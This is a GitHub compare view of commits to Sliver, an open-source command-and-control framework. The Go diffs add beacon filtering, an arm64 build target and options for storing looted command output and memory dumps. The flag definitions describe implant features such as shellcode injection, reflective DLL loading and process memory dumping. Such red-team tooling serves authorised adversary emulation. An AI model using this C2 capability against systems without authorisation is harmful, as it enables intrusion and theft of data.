mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
54
Commits
go-sqlite2
...
v1.5.13
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e6ebee9db6 | ||
|
|
9bdb54e023 | ||
|
|
4339ea52e7 | ||
|
|
f17ed1363f | ||
|
|
ae1dc131d4 | ||
|
|
22a503be9a | ||
|
|
1809bef81d | ||
|
|
e0a7ddfe17 | ||
|
|
65dd874eee | ||
|
|
a5fd494f13 | ||
|
|
6fa4aeb780 | ||
|
|
4e6466f43c | ||
|
|
802ad9dded | ||
|
|
11fb6a5d31 | ||
|
|
dc18da51b6 | ||
|
|
a7c0a2a667 | ||
|
|
e9b08e5723 | ||
|
|
144fb88f74 | ||
|
|
cb11ca6b0c | ||
|
|
708608c6f0 | ||
|
|
4110b5bd28 | ||
|
|
73e59797d1 | ||
|
|
7da3ccd876 | ||
|
|
e7452b27d5 | ||
|
|
ff503203e3 | ||
|
|
8462e4415f | ||
|
|
af2f7ffc9d | ||
|
|
aacf2c16ac | ||
|
|
c345731a6b | ||
|
|
c495377f4b | ||
|
|
cd5717db2a | ||
|
|
1f00eec899 | ||
|
|
ef87aa91cc | ||
|
|
faab1edaaf | ||
|
|
6dab042c8c | ||
|
|
b116ac97c5 | ||
|
|
d9fe00d1ef | ||
|
|
630f215bed | ||
|
|
f42ba31753 | ||
|
|
72065cd39e | ||
|
|
0c1a0fd7bf | ||
|
|
c12cbc77a7 | ||
|
|
f79e0d1845 | ||
|
|
b4b1a5bf74 | ||
|
|
c0431bf9db | ||
|
|
54ce7ef341 | ||
|
|
bbff000f5d | ||
|
|
009cae470e | ||
|
|
696d2980ff | ||
|
|
f2065ca72a | ||
|
|
5a9c4c9ddb | ||
|
|
6ff1edb962 | ||
|
|
11a4ae0741 | ||
|
|
c8eec91232 |
No files matched your search
@@ -7,17 +7,17 @@ on:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
@@ -52,7 +52,7 @@ jobs:
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18
|
||||
FROM golang:1.18.2
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -77,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
endif
|
||||
|
||||
# If no target is specified, determine GOARCH
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
ifeq ($(MAKECMDGOALS), )
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
@@ -115,8 +119,13 @@ macos-arm64: clean validate-go-version
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
|
||||
@@ -21,6 +21,7 @@ package beacons
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -71,27 +72,36 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, con)
|
||||
tw := renderBeacons(beacons, filter, filterRegex, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
@@ -132,16 +142,42 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
|
||||
|
||||
var next string
|
||||
var interval string
|
||||
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Since(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
|
||||
|
||||
} else {
|
||||
interval = time.Since(nextCheckin).Round(time.Second).String()
|
||||
}
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
|
||||
} else {
|
||||
eta := time.Until(nextCheckin)
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
|
||||
} else {
|
||||
interval = time.Until(nextCheckin).Round(time.Second).String()
|
||||
}
|
||||
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
|
||||
}
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
|
||||
/*
|
||||
Round the duration to the nearest second to be more output friendly.
|
||||
We deal in seconds for everything, so it makes sense to show outputs
|
||||
in seconds to remain consistent.
|
||||
*/
|
||||
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
|
||||
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
@@ -150,19 +186,43 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
|
||||
next,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
|
||||
next,
|
||||
})
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tw
|
||||
|
||||
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, con)
|
||||
tw := renderBeacons(beacons.Beacons, "", nil, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
|
||||
@@ -399,6 +399,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "no-canaries", false, "disable dns canary detection")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -558,7 +559,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.Bool("f", "force", false, "force session action without waiting for results")
|
||||
f.Bool("F", "force", false, "force session action without waiting for results")
|
||||
|
||||
f.String("f", "filter", "", "filter sessions by substring")
|
||||
f.String("e", "filter-re", "", "filter sessions by regular expression")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -575,7 +579,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
|
||||
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -615,7 +620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("f", "force", false, "Force kill, does not clean up")
|
||||
f.Bool("F", "force", false, "Force kill, does not clean up")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -989,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("o", "output", false, "capture command output")
|
||||
f.Bool("s", "save", false, "save output to a file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("E", "stderr", "", "remote path to redirect STDERR to")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1025,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1069,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -1094,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
},
|
||||
@@ -1250,6 +1262,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1306,6 +1319,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1455,6 +1469,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
@@ -1511,6 +1526,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
@@ -1677,7 +1693,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("r", "recursive", false, "recursively remove files")
|
||||
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
|
||||
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1756,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "colorize-output", false, "colorize output")
|
||||
f.Bool("x", "hex", false, "display as a hex dump")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the file to print")
|
||||
@@ -1777,6 +1796,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
|
||||
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
|
||||
f.String("n", "name", "", "name to assign the download if looting")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("remote-path", "path to the file or directory to download")
|
||||
@@ -1887,6 +1909,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("p", "pid", -1, "target pid")
|
||||
f.String("n", "name", "", "target process name")
|
||||
f.String("s", "save", "", "save to file (will overwrite if exists)")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1913,7 +1937,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("f", "force", false, "disregard safety and kill the PID")
|
||||
f.Bool("F", "force", false, "disregard safety and kill the PID")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2120,6 +2144,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save to file (will overwrite if exists)")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2163,8 +2188,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("k", "kill", "", "kill a beacon")
|
||||
f.Bool("K", "kill-all", false, "kill all beacons")
|
||||
f.Bool("F", "force", false, "force killing of the beacon")
|
||||
f.String("f", "filter", "", "filter beacons by substring")
|
||||
f.String("e", "filter-re", "", "filter beacons by regular expression")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("f", "force", false, "force killing of the beacon")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2833,7 +2861,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Add a remote file from the current session to the server's loot store",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "The local file path to the loot")
|
||||
a.String("path", "The file path on the remote host to the loot")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "name of this piece of loot")
|
||||
|
||||
@@ -20,13 +20,10 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -80,7 +77,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
@@ -88,52 +85,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteAssembly - Print the results of an assembly execution
|
||||
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
|
||||
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, _ = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAssembly.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
if saveLoot {
|
||||
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
+128
-18
@@ -18,7 +18,11 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
var captureOutput bool = output || saveLoot || saveOutput
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
PrintExecute(exec, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
}
|
||||
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
cmdPath := ctx.Args.String("command")
|
||||
